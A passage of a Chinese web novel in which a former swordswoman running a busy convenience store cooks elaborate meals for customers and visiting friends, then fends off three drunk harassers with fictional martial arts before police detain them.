然而他速度不慢,八哥反应却是更快,已经从笼子里飞出来,甚至还落在他肩膀上 ,歪着脑袋叫了两声。 鸟叫声很清脆,但洛淮青完全没有欣赏的心思,此时动都不敢动,生怕惊着它让它飞出店外去。 只能说他对八哥的关注还是太少,否则之前在店中但凡多观察观察,就会发现它平常就没少飞出去玩。 洛淮青小心谨慎地伸手,轻轻握住八哥将它送回笼子里,然而下一秒它又自己跑出来,发出模仿人类笑声的声音在他肩膀上跳来跳去。 店内其他顾客此时注意到鸟笼前的情况,有人觉得好玩拿手机拍起视频来,有人好心喊道:“老板,你家八哥越狱了!” “没事,随它去。”厨房内明清欢正在处理食材,回了顾客一句后又不轻不重地喊了声,“小八。” 小八听见主人声音瞬间就消停下来,没再故意闹腾洛淮青,而是张开翅膀飞进笼子里,甚至自己用爪子将笼门关上。 “哇,这八哥成精了吗?” 有顾客见它会开笼子会关笼子,不由凑上前:“小八,你出来啊。” 八哥本来不想理他,见他非要欠欠地撩拨自己,出其不意地低头啄向他放在笼子上的手指。 顾客吓得赶紧收回手,就听见它发出像反派一样的笑声,又好气又好笑。 很快,更多顾客被吸引过来,还有人试图教八哥像小说中反派一样“桀桀桀”地笑。 洛淮青听到这个形容不由反思起来,确定自己没写过反派这么笑后才放下心来。 店里热热闹闹时,厨房里更是忙得热火朝天,明清欢处理好食材先开始做酱香猪蹄。 “今天炖猪蹄吗?我喜欢吃这个!”周瑶瑶看到她开始给猪蹄焯水去腥,站在旁边说。 “那你待会多吃点。” 明清欢没有吐槽她什么都喜欢吃,反而觉得胃口好是好事,边说边在锅中加入姜片、料酒。 等到猪蹄焯完水换到温水中再清洗一遍,猪蹄看起来肉质变得更紧实,颜色更是白白嫩嫩,处理得特别干净。 白嫩的猪蹄看起来干净归干净,却不会让人有食欲,因此将猪蹄捞出来放到旁边沥干水分后,明清欢开始往锅里下入冰糖准备炒糖色。 随着猪蹄重新入锅,被染上层焦糖色外衣时,已经开始有香味飘出来。而等到葱、姜、蒜、八角、香叶、干辣椒等配料下锅时,一股复合香味被高温完全炒出来,混着猪蹄的肉香,闻起来很是诱人。 然而这还不是最香的,等到生抽、老抽以及明清欢亲自做的黄豆酱等调料下锅,翻炒均匀加水开始慢炖时,炖得越久,香味越浓。 在厨房里不需要帮忙后周瑶瑶带着一身香味出去,店内顾客看到她,七嘴八舌询问起来:“好香啊,今天有什么好吃的?” “有面条吗?有的话我主食想吃面。” “是不是炖猪蹄了?我好像闻见猪蹄香了。” 周瑶瑶之所以从厨房出来,有部分原因是待在里面实在太馋人,不过出来面对顾客们有点吵闹的询问声,她又觉得还不如待在厨房里馋死她算了。 当然,吐槽归吐槽,她还是耐心地一一回答顾客的问题,并在店内已经人满为患时,提醒顾客们不要拥挤。 【简直就是人、从、众、,这也太多人了,不就是快餐吗?真就那么好吃?】 【一号那天有幸去吃过,味道真是没得说,在它家吃完午饭,晚上去大酒店吃饭我都觉得不香了,要不是还有其他行程,我都想在q市住一段时间。】 【太夸张了,现在十点都不到吧,这么多人这么早过去排队,就为了吃顿午餐?疯了吧!】 在某位主播的镜头下,大家能清楚地看到店里店外都是人,排队的人已经站到大街上,而且还有继续蔓延的架势。 排队的人多就算了,受众更是特别广,男女老少全都有,甚至街上还站着几只口水都快流下来的狗狗。 “来,给你们看看,外边排队的有好多小朋友,里面则是有好几个老头老太太,甚至街上还有狗在乖乖排队,就冲这,你们还怀疑这家店的含金量吗?”主播举着手机扫着店里店外,随即用语言给粉丝们描述自己闻见的香味。 不过比起干巴巴的语言形容,隔着屏幕还是直观的看到菜品的卖相更容易吸引人。 终于等到饭菜被端出来,主播先给了酱香猪蹄一个特写,猪蹄被切成形状完美的小块,上面裹着浓郁的酱汁,整体颜色红中带褐,泛着微微油光,看着就让人想咬上一口。 隔着屏幕的网友只能看到“色”,店里顾客们却是要经受色与香的双重诱惑,在闻到那股酱香浓郁,肉香中混合香料复合气息的香味时,好多人不约而同地咽起口水来。 大人还知道克制,小朋友却是不管那么多,有些嘴角已经被口水打湿,有些则是直接喊起来:“妈妈我要吃肉!” 第30章 第30章清蒸鲈鱼 饭菜没端出来前店里还挺吵闹,饭菜端出来后顾客们反而比刚才安静好多,目光基本都落在菜上,好像根本分不出心思再说话。 明清欢打饭速度是真快,而且动作干净利落,周瑶瑶打一份饭菜的功夫她就已经打完两份,甚至半点汤都没滴到不该滴的地方。 “谢谢老板。” 顾客拿到快餐时脸上都不自觉带出笑容,小心地端着去找地方坐。 酱香猪蹄的香味实在太霸道,顾客们坐下来基本都先朝它下筷子,红润油亮的猪蹄表皮挂着汤汁,看起来特别诱人。 一口咬上去,皮肉软糯弹牙,瘦肉部分烂而不柴,简直不要太好吃。酱香猪蹄整体调味偏咸鲜,不过由于加了干辣椒,吃起来还有微微辣味,同时由于用冰糖炒了糖色,吃进嘴里余味带着若有似无的甜味。 由于是酱香猪蹄,明清欢没有额外加糖,炒糖色残留的那点甜味很淡,除了增加猪蹄卖相外,还提鲜不少,不光大人爱吃,小朋友更是啃得特别香。 “圆圆,猪蹄辣不辣?” “不辣,猪蹄好好次呀!” 圆圆用手捏着块猪蹄肉,吃得嘴巴都是油,那咸鲜可口,肥而不腻的滋味,好吃得她眼睛都弯成月牙。 她手里那块是猪前蹄,肉质吃起来会比后蹄更嫩,她嘴里还没完全咽下去就又迫不及待咬上去,像只贪吃的小猫。 “你慢点吃,嚼碎了再吞下去,别光吃肉,也吃点饭。”圆圆妈妈看到女儿吃得那么香,说完自己也夹起一块猪蹄送到嘴边。 她夹起来的是块猪后蹄,后蹄筋更多些,但连皮带筋的口感特别有嚼劲,越吃越香。 “妈妈,嘴巴贴住啦……” 圆圆吃着吃着忽然仰头喊起来,显然是由于猪蹄胶质感太强,有点粘她嘴巴。 圆圆妈妈笑着拿纸巾替她擦擦嘴后问:“那你还吃不吃了?” “要吃呀!”显然,就算嘴巴被粘住都阻挡不了圆圆小朋友那颗吃货心。 发现小嘴巴擦擦就没那么不粘了,她继续大口吃起来,边吃还边拿纸巾擦擦嘴巴,看起来机灵又可爱。 店内还有不少小朋友在吃饭,圆圆吃饭速度算慢的,半天一个猪蹄还没啃完。她旁边有个小朋友干饭速度那叫一个块,已经啃完三块猪蹄,还用猪蹄汤伴着吃掉一碗饭,此时正在边喝汤边吃脆皮香酥鸭。 香酥鸭这种油炸食品特别受小朋友喜欢,小朋友吃得满嘴都是油,但脸上表情那叫一个开心。 孩子妈妈看到他吃得肚子都挺起来,忍不住伸手把他衣服撩起来,就见那小肚子已经鼓得要坠下来一样。 “这小肚子,不能给他吃了吧……”同桌的人看到小家伙的肚子,觉得可爱的同时开口提醒。 孩子妈妈语气透着无奈:“在家是愁他不吃饭,带出来却是愁他吃太多,养个孩子真是不容易。” 说完她试图跟儿子讲道理,但小家伙哪里肯,不给他吃他急得眼泪都要掉下来。 “妈妈把香酥鸭打包带回去,你晚上再吃好不好?” “现在吃。” “再吃你肚子就要炸了,来你看那边有鸟,你去找小鸟玩好不好?” 店内有鸟不说,店外还有好几只大狗,孩子妈妈连哄带骗,总算把他哄出去找狗狗玩。 当然,接近狗狗前孩子妈妈有询问狗主人,得到同意 才让孩子靠近。 “养个小孩真不容易。” 店内有些年轻顾客看到孩子妈妈吃个饭都不消停,忍不住感叹。 “也不怪那小孩贪吃,主要是这菜太好吃了,猪蹄好吃就算了,毕竟是肉,可茄子也能做得这么好吃,我是真服气。” “确实,这猪蹄太香了,不光好吃,而且处理得特别干净,不像我上次点外卖时吃的烤猪蹄,一股味就算了,上面猪毛都没处理干净,别提有多倒胃口。” “猪毛?哪有猪毛,人家老板这猪蹄处理得可干净了。”隔壁桌老顾客听错了,觉得就老板处理得这么干净还有人要挑刺,忍不住开口抱不平。 “你误会了,我是说我之前吃的猪蹄……” 顾客解释的话落,原本安静吃饭的其他顾客都纷纷开口夸起来,说今天的酱香猪蹄从食材新鲜度,和处理的干净程度,以及色香味都无可挑剔。 店内顾客吃得香喷喷时,在店外吃饭的人也不少,有些是来得晚没有座位,有些则是因为带了狗不好在店内影响别人。 “汪汪汪——” 店门口,金毛好不容易等到主人丢下块猪蹄,刚准备吃就发现猪蹄比被它啃过的还干净,当即就仰头发出抗议的声音。 “你别那么挑食好不好!”狗主人边咀嚼着嘴里香喷喷的猪蹄肉边说。 “汪汪汪汪——” 金毛再次叫起来时,有看不下去的路人忍不住替它说话:“你那骨头比狗啃得都干净,你让它吃啥啊?” 路人说完被饭菜香味吸引,也不管现在排队能不能买到饭,直接走到队伍后面先排着。 金毛主人听到有人替自家狗打抱不平,终于舍得丢下块肉给它,边给还边说:“这猪蹄太肥了,你不能吃那么多。” 被馋得口水都流出来的金毛终于看到肉,身后尾巴都快摇出花来,然而它刚低下头准备吃时,不知道从哪跑过来一只猫,蹿过来叼走肉就跑。 金毛反应过来时倒是没有去追猫,而是仰头冲主人发出一连串像是委屈,又像是在告状的声音。 “你别看我,我给过你肉了,谁让你自己没看住。”狗主人感觉碗里的猪蹄和香酥鸭还不够自己吃的,直接背过身去对着它。 不怪他护食,实在酱香猪蹄简直好吃到他心坎里去,一口下去软糯弹牙,咸鲜微辣中带着微微甜味,不管是直接吃还是配饭都超级香。 他平常见惯自家狗各种模样,倒是能狠下心来,但旁边却是有人觉得金毛委屈巴巴的模样可爱又可怜,于是忍不住分它一块猪蹄。 金毛看到猪蹄圆溜溜的眼睛都亮了几分,立刻凑到对方面前摇尾巴,边摇边开心地咬住猪蹄吃起来。 “这种老抽色狗狗最有心机了,你别被它骗了。”有人笑着提醒那位投喂完一块,在金毛装可怜下又给一块的顾客。 店里店外的热闹一直持续到下午两点多,周瑶瑶想到以前十二点半就能收工的午餐,忍不住跟明清欢感叹起来:“以前我天天盼五一快点来,现在反而希望假期快点结束了,老板,你说不会十一也有那么多人吧?” 五一这几天,简直一天比一天忙,由于不少顾客有吃饭喝饮料的习惯,她打饭时还得顺便收钱,以及盯着点店内,感觉一双眼睛加两只手根本不够用。 “十月份离现在还早得很,别想那么多。”明清欢精力比她好,倒是没感觉有什么,开口宽慰道。 周瑶瑶点点头,随即却是想到另外一件事:“对了,你朋友不是说今天下午过来吗?你用不用去火车站接人?” “我问过了,她们没说到站时间,说到时候直接打个车过来。”明清欢道。 孙悦月、李勤晴知道她要看店,特意不说到站时间,免得还要麻烦她过来接。 “那要不要买点水果什么的回来?”周瑶瑶问。 便利店里零食、酒水饮料什么的都有,不过水果却是吃完了,如果要招待朋友怕是得去买点。 被她提醒明清欢也想起来,当即起身准备去附近买点水果。 随着侠客便利店在网上火了,明清欢在祥云街也算是个名人,基本上在附近的人都认识她。 她刚接手侠客便利店时,附近还有人猜测她会不会守不住店,没想到短短几个月,她却把原本生意平平无奇的店给开火了,让附近大部分人都挺佩服她,私底下都说她有本事。 当然,背地里嫉妒她的人肯定也有,但只要不凑到明清欢前面,明清欢才懒得搭理那些人。 祥云街上就有水果店,水果店老板在她家吃过好几次饭,看到她上门很是热情,甚至特意拆了刚进的新鲜水果卖给她。 五一小长假,感觉哪哪人都特别多,街上比起平时明显要热闹很多。明清欢拎着水果准备回店里时,忽然有个小家伙哒哒哒跑过来,一把抱住她双腿。 作为曾经的天下第一女刀客,在有人近身前她下意识反应是避开,然而很快她就想起来自己现在早就远离江湖,于是停下步伐望着身前的小不点。 抱着她的小孩不是别人,正是之前被她爬五楼留下来的小家伙,两岁不到的小家伙走路还有点歪歪扭扭,但已经能认人,抱住她后便仰起脸笑得露出小奶牙。 明清欢望着小家伙天真的笑脸,从袋子里拿出个刚买的枇杷塞进他手中。 孩子奶奶就在旁边看着,等小家伙握着枇杷奶声奶气喊着吃回到她身边时,她直接把一袋荔枝塞进明清欢手里:“这是家里亲戚送的荔枝,正准备拿去给你尝尝鲜。” “不用。” 明清欢赶紧拒绝,然而老太太才不给她拒绝的机会,塞完就赶紧带着孙子离开。 荔枝在大齐可是稀罕物,明清欢直接追上去要还给老太太,她却表示真是亲戚送的,家里多得根本吃不完,坚决不肯收回去。 “你看你客气什么,你请我们豆豆吃枇杷我也没拒绝啊……”豆豆奶奶道。 明清欢见荔枝还不回去了,没办法只能又抓一把枇杷塞进小家伙怀里。 等她回到店里时,周瑶瑶看到她拎回来的枇杷、香蕉、荔枝等水果,视线落在荔枝上:“现在就有荔枝卖了?” “不是买的,是豆豆奶奶送的,她说家里有亲戚种荔枝,送了她好多荔枝,非要拿给我尝尝鲜。”明清欢随手将水果放到柜台上。 “羡慕,我怎么没有个种荔枝的亲戚,要是有的话,我想站在荔枝树下现摘现吃。” “她这荔枝我看就挺新鲜,你尝尝。” 明清欢招呼完,周瑶瑶没跟她客气,当即从袋子里拿出一个,荔枝颗剥开露出里面雪白果肉的同时,浓郁的果香瞬间弥漫开来。 “好甜啊!” 明清欢闻着那股果香不由拿起一颗荔枝,剥开送入口中,果然清甜多汁,浓郁的荔枝香味随着咀嚼弥漫整个口鼻,感觉连呼吸都带着甜味。 以前在大齐时,便是富贵人家都难吃到这么好的荔枝,她品尝着口中的荔枝,越发感受到现代的好。 荔枝好吃,但一次吃太多容易上火,明清欢还算克制,连吃七八个就停下手,倒是周瑶瑶,吃得有点停不下来,不过想到晚上还要接待客人,她又吃两个到底还是没再继续。 下午六点左右,孙悦月和李勤晴终于来到祥云街,两个人想逗逗明清欢,故意戴着鸭舌帽和口罩走进店里,随便挑选几样东西后到前台付款。 “悦月,勤晴?” 她们刚在柜台前站定,就直接被明清欢叫破名字。 “不是吧,你怎么认出我们的?”两个人没想到那么快就被拆穿,语气透着失望。 其实明清欢还真不是认出她们,主要是她俩进入店里后言行举止都透着股奇怪,以明清欢的敏锐,第一时间就发现不对,观察两眼后很容易就猜到她们身份。 “好久不见,有没有想我们?” 见已经被她认出来,李勤晴和孙悦月摘下帽子口罩,笑着和她寒暄起来。 明清欢有原主的记忆在,跟她们交流自然不存在什么问题,将周瑶瑶介绍给她们后,四人一起坐下来边吃水 果边聊天。 “还是你舒服啊,楼上休息,楼下上班,搞得我都想开家店了。”孙悦月打量着便利店,感觉除了装修没那么新外,其他的都还挺不错。 人家好友重逢,周瑶瑶本来不想刷存在感,因此坐在旁边基本是安静吃水果,不过听到这话后却是忍不住开口:“老板她每天五点就起床……” 其实周瑶瑶早就想和人吐槽自家老板的作息了,毕竟当代年轻人,谁像她一样,天天九点多就睡觉,五点多就起床。 “什么?” 果然,听到明清欢的作息,孙悦月和李勤晴两脸震惊。 明清欢不觉得自己的作息有什么问题,见她们三个滔滔不绝吐槽起自己的作息来,干脆起身道:“我去准备晚餐。” 三人闻言想去厨房给她帮忙,却被拒绝,便继续坐在位置上聊天。 厨房内,明清欢中午时特意留了点酱香猪蹄以及香酥鸭,此时把猪蹄热一下,香酥鸭复炸一下,两个菜就好了。 除了猪蹄和香酥鸭,厨房水盆里还养着条鲈鱼,她准备做个清蒸鲈鱼。 当香味从厨房里飘出去时,原本聊天的三个人不自觉被吸引,周瑶瑶还稍微好点,毕竟她天天吃,孙悦月二人却是被馋得不行。 “好香啊!怪不得你家生意那么好,这香味简直能馋死个人!” “香得我口水都快下来了。” 明清欢闻言,随手用盘子装了点香酥鸭让她们先吃着垫垫肚子。 “那我们不跟你客气了。” 孙悦月说完迫不及待拿起块香酥鸭,一口咬下去,表面那层脆皮发出“咔嚓”声,咀嚼间一股肉质的酥香在嘴里化开,简直别提有多好吃。 美食能令人心情愉悦,李勤晴吃着脆香酥嫩,咸甜适口的香酥鸭,压在心头的那点烦恼都被驱散,此时脑子里只剩下“好吃”两个字。 明清欢做菜很有效率,此时已经把鲈鱼处理好开始蒸鱼。 清蒸鲈鱼听起来简单,想做好吃可没那么容易,首先挑选食材时就得挑鲜活的,其次处理得要干净利落,要把去腥做到味。 处理得干干净净的鲈鱼擦干水分放入盘中开始蒸时,蒸盘底部被明清欢铺满葱和姜,鱼身上也盖着不少姜丝。 接下来就是上锅蒸,清蒸鲈鱼蒸的时间不能太长,否则鱼肉老了就没那么好吃。 明清欢在炒其他菜时心里暗暗计算着时间,火候差不多后立刻将鲈鱼从蒸锅里拿出来。 “好香……” 鲈鱼被拿出来时,热气升腾间鱼鲜味弥漫开来,引得周瑶瑶三人不自觉感叹。 鱼蒸好还不算完,明清欢将盘子里蒸出来的腥水倒掉,将葱姜也去掉不要,重新给鱼身放上切得细细的葱姜丝,将热油淋上去瞬间激发出葱姜的香味。 最后往鱼盘中淋入她自己调的蒸鱼豉油,一道色香味俱全的清蒸鲈鱼就做好。 “太漂亮了!”孙悦月等她做完,边夸边用手机拍起来,同时感叹大学四年自己实在错过太多。 晚餐已经基本准备好,不用明清欢开口,周瑶瑶三人主动将菜端出去。 此时外面天早就黑了,由于今天是四个人吃饭,周瑶瑶特意将桌子搬到店门外,这样宽敞不说,四人一人一边坐着,也方便夹菜。 “还有最后一个汤就好了,你们先吃。” 明清欢说是这么说,但三个人哪好意思让她在厨房里忙活,自己先吃,一个劲喊她别做了,一起出来吃。 今天晚餐特别丰盛,不光有香酥鸭、酱香猪蹄、清蒸鲈鱼、辣椒炒蛋、香菇炒油菜,她还炖了玉米排骨汤。 此时玉米排骨汤还差一把火候,眼见她们都喊着,明清欢只能先跟她们出去吃饭。 孙悦月和李勤晴早就馋得不行,眼见她终于出来,总算可以动筷子。 前面已经尝过香酥鸭,此时两人迫不及待端起米饭开始吃酱香猪蹄,那肥而不腻,特别下饭的味道,好吃到她们连说话都没空。 周瑶瑶和她们不同,她筷子直接向着清蒸鲈鱼下去,不过却是在半空中停顿两秒,才夹起块鱼肉。 不怪她犹豫,实在是清蒸鲈鱼卖相太完美,银白透亮的鲈鱼上面点缀着嫩黄色姜丝,还有翠绿色葱丝,让人下意识有点不想破坏。 不过最终还是吃货的心占据上风,周瑶瑶夹起块鱼肚肉在盘子里汤汁中过一下,随即送入口中,味蕾上先尝到鼓鱼汁的咸鲜,随着牙齿上下一碰,鱼肉的细腻滑嫩在嘴里化开,鲜咸中带着丝回甘的滋味,好吃到她差点咬到舌头。 “老板你做的清蒸鲈鱼好好吃啊!看起来清清淡淡,吃进嘴里味道可太香了!” 清蒸鲈鱼吃的就是个原汁原味,明清欢将鱼腥味处理得特别干净,配上秘制的鼓鱼汁,整道鲈鱼吃进嘴里,鲜、嫩、香,不好吃才奇怪。 周瑶瑶话落,孙悦月和李勤晴不约而同将筷子伸向清蒸鲈鱼,顿时被鱼肉的鲜嫩口感给惊艳到,觉得确实好吃。 四人吃饭时,饭菜香味顺着晚风飘出去,引得路人纷纷看过来。 “老板,你什么时候考虑做晚餐啊?每天晚饭时间从你店门口路过,简直能馋死个人!” 好在虽然有人忍不住抱怨,但不围观别人吃饭是种基本的礼貌,大家最多是看两眼,倒是没人围上来。 “妈妈,我想吃饭饭!” “好好好,妈妈抱你回去吃饭。” 大人能克制,小朋友却是不行,家长没办法,为了不让孩子在大街上闹起来,赶紧抱起来就跑。 “怪尴尬的……”李勤晴看到这一幕,莫名有点不好意思。 周瑶瑶闻言开口道:“这算什么,那小孩都没哭,之前老板做饭时可是馋哭过好几个小孩。” 听到她这么说,孙悦月和李勤晴立刻好奇地追问起来,当然,说话时她们筷子也没闲着,不停夹着菜。 “我去把汤端出来。”明清欢算算时间差不多了,放下筷子起身往店里走。 就在她去厨房盛汤这会功夫,店门口却是来了扫兴的家伙。 “你干嘛?”周瑶瑶反应最快,在看到陌生男人走过来想要往明清欢空出来的椅子上坐时,一把将椅子拉开不让他坐。 身上带着酒气的男人不以为意,反而嬉皮笑脸道:“小美女这么凶干嘛?你们几个女生吃饭有什么意思,不如我拿几瓶酒来咱们一起吃点喝点。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第31章黄豆烧鸡爪 “有毛病吧!”孙悦月受不了这种人,皱着眉小声骂一句后,站起身道,“麻烦你走开,不然我报警了。” 她话落,李勤晴则是已经将手机拿在手中,眼神中明显透着几分警惕。 三个女生原本大好的心情都被他给破坏,只恨不得他赶紧滚蛋,然而她们希望却是落空,那个陌生男人还没走,结果又走过来两个。 “我兄弟愿意陪你们吃饭是看得起你们,少给脸不要脸。” 三个人高马大的男人身上都带着酒气,显然是没少喝。 “要不我们回店内吃去吧。”周瑶瑶不想跟几个醉汉闹起来,于是转头看向孙悦月她们。 她们不想闹出事来,然而那三个男人却是不愿意罢休,竟然伸手去抓周瑶瑶胳膊。 周瑶瑶一把拍开他的手,生气道:“别喝了点马尿就觉得普天之下都是你妈,得让着你,想借酒装疯是吧?那你怎么不去警察局疯去?跟有毛病一样。” 她不想惹事,但并不代表怕事,人都欺负到头上来,她到底没忍住火气 。 何止她生气,孙悦月、李勤晴她们在发现那三个男人恶心的眼神时同样很气,恨不得直接两巴掌甩过去。 周瑶瑶话落,三个男人被她说得生气了,其中一个抬手就想打人,然而手还没甩出去,便利店里直接飞出根筷子打到他手腕上,疼得他立刻发出鬼哭狼嚎声。 “没事吧?” 扔筷子的不是别人,是听到动静从厨房出来的明清欢,说实话,若非现代是个法治社会,刚刚那根筷子就不是打在他手腕上,而是直接射穿。 “老板,这几个人恶心死了,刚刚还想打我!”周瑶瑶看到她出来,心里莫名生出底气,只是说话时不知道是被气的还是被恶心的,眼眶不自觉有些发红。 明清欢往前走出两步,平日里总是带着笑的脸此时透着微微冷意,眸光更是带着几分如刀锋一样的寒光。 她明明没说话,但三个男人却是莫名感觉后背一寒,不自觉后退几步。 可能真是喝酒把脑子喝傻了,明明第六感已经告诉他们赶紧滚蛋,可他们却是在反应过来时有些恼羞成怒,觉得要是让人知道他们怕了几个女人,那面子都得丢完。 只能说有毛病的人就是和正常人脑回路不一样,他们不觉得跑过来骚扰别人丢人,反而觉得骚扰不成丢人。 其中一个光头忽然拿起椅子,朝着明清欢就砸过来,他动作太突然,以至于周瑶瑶她们和周围路人反应过来时只来得及发出惊呼。 然而在明清欢眼中,他砸过来的动作处处都是破绽,都不用躲避,一只手夺回自家椅子,一只手拍出道掌风打在他胳膊上。 “啊——” 光头男发出声惨叫倒在地上,周瑶瑶见此,先是松了口气,随即立刻开口骂道:“你少碰瓷!恶不恶心!” 她骂人时,另外两个男人看到兄弟被打倒,怒气上头,直接握着拳头冲着明清欢打过来。 收拾这种垃圾,对明清欢来说简直轻而易举,都不用动刀法,两掌就将人打出去。 “啊……哎呦……” 三个刚刚还嚣张得不行的男人躺在地上满地打滚,边鬼哭狼嚎边还嚷嚷着要报警。 “你要不要脸,明明是你们先骚扰再动手,现在竟然还想碰瓷!”孙悦月见他们还好意思说报警,差点没被气笑。 李勤晴则是握着手机道:“我已经报警了,你们等着吧!” 附近围观的路人刚开始还以为她们要吃亏,像是洛淮青,他远远看到便利店门口出事了,正跑过来准备帮忙,没想到根本用不着自己,便开口道:“待会我替你们做证。” 他之所以现在到便利店来,主要是晚上点的外卖不太合胃口,于是想来买桶泡面,没想到正撞见有人在店门口闹事。 他话落,附近其他围观群众也纷纷开口:“我刚刚都看见了,人家老板只是轻轻推了他们一下,他们就倒在地上鬼哭狼嚎的,一看就是想碰瓷!” “太恶心了,骚扰别人不成就碰瓷,真丢我们男人的脸!” “地上是有你们爹还是有你们娘?躺着还不愿意起来了,装什么装。” “我刚刚拍视频了,你们等着,马上就让你们在网上火一把,看看你们嫌不嫌丢人。” “他们要是知道丢人能做这种事吗?真够不要脸的。” 像光头男三个恶心家伙确实该骂,不过他们躺在地上不起来还真不是装,而是明清欢一掌震到他们经脉,死肯定不会死,但会疼得他们要命,而且还是阶段性的,也就是说就算待会他们缓过来不疼了,说不定明天、后天还是哪天又会疼起来。 “男人果然都不是什么好东西……”李勤晴望着还赖在地上的三个狗东西,显然是联想到渣前男友,忍不住骂起来。 在围观群众中有人忍不住朝地上那三个家伙下黑脚时,警察很快过来。 托那三个狗东西的福,明清欢她们好好的晚饭直接被打断,只能收拾一下东西跟着去趟警局。 不过有附近监控以及目击证人,加上三个男人去医院检查根本检查不出来伤,即便他们嚷嚷着被明清欢打得浑身都疼,但被拘留的还是他们。 “气死我了!” 明清欢一行人回到祥云街时已经是晚上九点多,孙悦月想到香喷喷的晚饭,越想越气。 “就是,世界上的男人怎么不去死……”李勤晴骂到一半想到自家爸爸,以及旁边还站着个男性,于是改口道,“世界上的恶心男人怎么就不能全死光呢!” 她们旁边的男性是洛淮青,他刚刚主动表示去警局给她们做证,所以跟着一起回来。 “好了别气了,我把饭菜热热,咱们继续吃饭。” 那三个人一年半载是别想好了,已经给过他们教训的明清欢不想她们心情继续受影响,开口转移话题。 当然,出于礼貌,她顺便询问洛淮青要不要一起吃饭。 洛淮青知道她只是客气,自己应该拒绝的,但话又说回来,比起买桶泡面回去吃,明显是她做的饭菜更有诱惑力,他到底还是没舍得拒绝。 回到店里,明清欢让她们坐着先休息会,自己去厨房热菜。 由于多了洛淮青,除开原本的晚餐外,她又额外炒了两个菜。 “早知道我就不该提议在店外吃晚饭。” 饭菜重新上桌后,周瑶瑶语气透着点自责,觉得本来老板和朋友聚餐挺愉快的一件事,被自己给搞坏掉。 “和你有什么关系,像那种恶心玩意,你信不信咱们在店里吃他照样会进来。”孙悦月道。 “别想那些不开心的了,来喝点汤。” 明清欢说完将盛好的玉米排骨汤放到他们面前,嫩黄的玉米,浅褐色的排骨,橘红色的胡萝卜卧在清亮的汤里,光看着就让人感觉好喝。 几人不约而同端起碗,咸鲜中带着玉米清甜滋味的汤从喉咙里滑过,美味的玉米排骨汤安抚她们原本有些愤怒与郁闷的情绪。 半碗汤下肚,孙悦月她们胃口全部被打开,于是握着筷子大口吃起来。 洛淮青本来就是晚饭没吃好出来买泡面的,此时看到她们吃得那么香,也顾不上客气,握着筷子品尝着每样菜。 酱香猪蹄他中午就吃过,此时再吃依旧感觉很美味,香酥鸭更是不用说,哪怕经过多次复炸味道依旧香酥脆嫩。 还有清蒸鲈鱼,那半点腥味都吃不出的鱼肉更是令他格外喜欢,连夹了好几筷子。 桌上菜是真不少,不过五个人一起努力,最终还是连菜带饭带汤全部吃光光。 光盘是对厨师手艺最好的赞美,明清欢看到饭菜全部被吃完,脸上不自觉带出几分笑容。 洛淮青看到她面上含笑的模样,脑海中却是不自觉浮现刚刚她站在店门口与那三个男人对峙时脸上没有表情的模样。 “怎么了?”明清欢注意到他的视线,转头看过去。 “没事,谢谢你的招待,晚餐很好吃。” “不客气,该是我们谢谢你才是,刚刚耽误你时间了。” 两人互相客气几句,洛淮青在便利店里买了袋东西后才离开。 等他走后,周瑶瑶三人坚决不要明清欢动手,她们分工合作把桌子擦了,地扫了,碗洗完后,四人重新坐在一起。 “老板,你偷偷告诉我,你是不是学过真功夫啊?” 周瑶瑶想到刚刚那几个恶心玩意在警察面前还继续鬼叫的模样,总感觉他们装得有点太像真的了。 她话落,孙悦月二人也立刻眨巴着眼睛看向明清欢,一副“你还有什么惊喜是朕不知道”的表情。 原身从小到大都没有习武经历,明清欢自然不可能点头承认,便解释说可能是因为她做菜的缘故,手劲比较大。 她刚刚解决那三个东西,连正儿八经的掌法都没用,完全是一力破十会,因此这么说倒也不全是忽悠人。 周瑶瑶三人听完立刻就信了,随即再次臭骂起来,说那三个狗东西装得还挺像。 当天晚上,侠客便利店再次火了,不过这次却是因 为有人把三个醉汉骚扰不成反被收拾的视频发到网上。 【每次出这种事就把锅甩到酒身上,我就没见过有人喝醉了去打自己老板,或者去骚扰警察的!】 【看到前面气死我了,看到后面,我只想说打得好!】 【哈哈哈哈,我没记错的话这个便利店老板之前就有过空手夺刀的壮举,怎么会有傻逼敢到她那闹事啊!】 【那几个煞笔躺地上鬼叫什么?是真被打疼了还是在碰瓷?】 【碰瓷吧,人家老板就甩了一巴掌,看着也不像多用力,能有多疼,什么玩意,骚扰不成就碰瓷,怎么那么不要脸!】 【这种人就应该抓起来,不过我怎么感觉他们叫的挺真,不像是装的呢?】 【管他真疼假疼,要是真疼才好,最好疼死他们!总算看到一次女生没有吃亏了,不然大晚上的我又要气得睡不着。】 【你们注意到老板那个眼神没?感觉像是带着杀气一样,把那几个怂货都吓得后退了。】 【我也发现了,原来真有人能用眼睛杀人,强烈建议某些演员过来学一学。】 【这老板真的好飒啊!感觉待在她身边特别有安全感。】 【确实,她没出来前我心都提起来了,生怕那三个小姐姐吃亏,她出来后,我感觉心都瞬间放下来一半。】 次日。 昨晚的事对明清欢来说根本不算什么,早上她依旧早早起床,没有打扰孙悦月她们三个,独自去厨房揉面做早餐。 在她在厨房忙活时,住在附近的老人好多都已经出门,目的地显然都是她家店。 老人们觉少,五点多起来的大有人在,于是今天六点不到,店外就传来敲门声。 明清欢听到声音过来开门,看到好多张熟面孔,边打招呼边询问:“刘奶奶,你们今天怎么来这么早?馒头刚开始蒸,还要一会才出锅。” “不来早点根本买不到,没事,我们可以坐在店里等。” “昨天过来时没买到你家茶叶蛋,我孙子直接哭了。” 几位老人你一言我一语,明清欢闻言也想起来昨天年轻顾客比较多,基本都把早餐买完,于是道:“行,那你们先坐一会。” 随着第一批馒头、糖三角出锅,一股甜而不腻的香味飘满整个店铺,楼上先是周瑶瑶起床下来帮忙,没多久孙悦月和李勤晴也都醒来。 “你们都好早啊。” 孙悦月和李勤晴来到厨房门口时,望着里面的两个人感叹,说完还忍不住打个哈欠。 “你们先吃早餐吧,我煮了粥,还有馒头和糖三角。”明清欢招呼着。 本来还有点困的二人闻着厨房里的香味,食欲被勾起来,自己动手盛了碗粥,又拿盘子装了几个馒头、糖三角后去外面坐着吃。 “哇,好多人啊!”坐下来后李勤晴望着店里人感叹一句,随即低头咬了口糖三角,立刻吸了口气,“好烫!” 刚蒸好的糖三角当然烫,但又烫又好吃,那宣软的面皮配上里面甜而不腻的糖浆,好吃到她嘴巴根本停不下来。 店内每天卖的馒头和糖三角数量有限,今天老顾客们来得早了,后边来的年轻顾客们自然就有人买不到。 “什么鬼,我今天来得也不晚啊……” 